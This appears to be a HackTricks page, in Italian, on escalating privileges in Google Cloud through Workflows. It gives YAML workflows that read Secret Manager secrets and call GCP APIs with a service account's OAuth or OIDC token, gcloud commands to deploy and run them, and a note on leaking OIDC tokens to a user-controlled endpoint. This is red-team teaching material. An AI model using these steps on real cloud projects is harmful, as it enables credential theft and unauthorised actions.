GCP - Workflows Privesc

Reading time: 4 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Workflows

Informazioni di base:

GCP - Workflows Enum

workflows.workflows.create, iam.serviceAccounts.ActAs, workflows.executions.create, (workflows.workflows.get, workflows.operations.get)

A quanto ne so, non è possibile ottenere una shell con accesso all'endpoint dei metadati contenente le credenziali del SA attaccato a un Workflow. Tuttavia, è possibile abusare dei permessi del SA aggiungendo le azioni da eseguire all'interno del Workflow.

È possibile trovare la documentazione dei connettori. Ad esempio, questa è la pagina del connettore Secretmanager. Nella barra laterale è possibile trovare diversi altri connettori.

E qui puoi trovare un esempio di un connettore che stampa un segreto:

yaml
main:
params: [input]
steps:
- access_string_secret:
call: googleapis.secretmanager.v1.projects.secrets.versions.accessString
args:
secret_id: secret_name
version: 1
project_id: project-id
result: str_secret
- returnOutput:
return: "${str_secret}"

Aggiornamento dalla CLI:

bash
gcloud workflows deploy <workflow-name> \
--service-account=email@SA \
--source=/path/to/config.yaml \
--location us-central1

Se ricevi un errore come ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist, aspetta un minuto e riprova.

Se non hai accesso al web, è possibile attivare e vedere l'esecuzione di un Workflow con:

bash
# Run execution with output
gcloud workflows run <workflow-name> --location us-central1

# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1

# List executions
gcloud workflows executions list <workflow-name>

# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>

caution

Puoi anche controllare l'output delle esecuzioni precedenti per cercare informazioni sensibili

Nota che anche se ricevi un errore come PERMISSION_DENIED: Permission 'workflows.operations.get' denied on... perché non hai quel permesso, il workflow è stato generato.

Leak OIDC token (e OAuth?)

Secondo la documentazione è possibile utilizzare i passaggi del workflow che invieranno una richiesta HTTP con il token OAuth o OIDC. Tuttavia, proprio come nel caso di Cloud Scheduler, la richiesta HTTP con il token Oauth deve essere destinata all'host .googleapis.com.

caution

Pertanto, è possibile leakare il token OIDC indicando un endpoint HTTP controllato dall'utente, ma per leakare il token OAuth avresti bisogno di un bypass per quella protezione. Tuttavia, sei ancora in grado di contattare qualsiasi API GCP per eseguire azioni per conto del SA utilizzando sia connettori che richieste HTTP con il token OAuth.

Oauth

yaml
- step_A:
call: http.post
args:
url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop
auth:
type: OAuth2
scopes: OAUTH_SCOPE

OIDC

yaml
- step_A:
call: http.get
args:
url: https://us-central1-project.cloudfunctions.net/functionA
query:
firstNumber: 4
secondNumber: 6
operation: sum
auth:
type: OIDC
audience: OIDC_AUDIENCE

workflows.workflows.update ...

Con questo permesso, invece di workflows.workflows.create, è possibile aggiornare un workflow già esistente ed eseguire gli stessi attacchi.

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks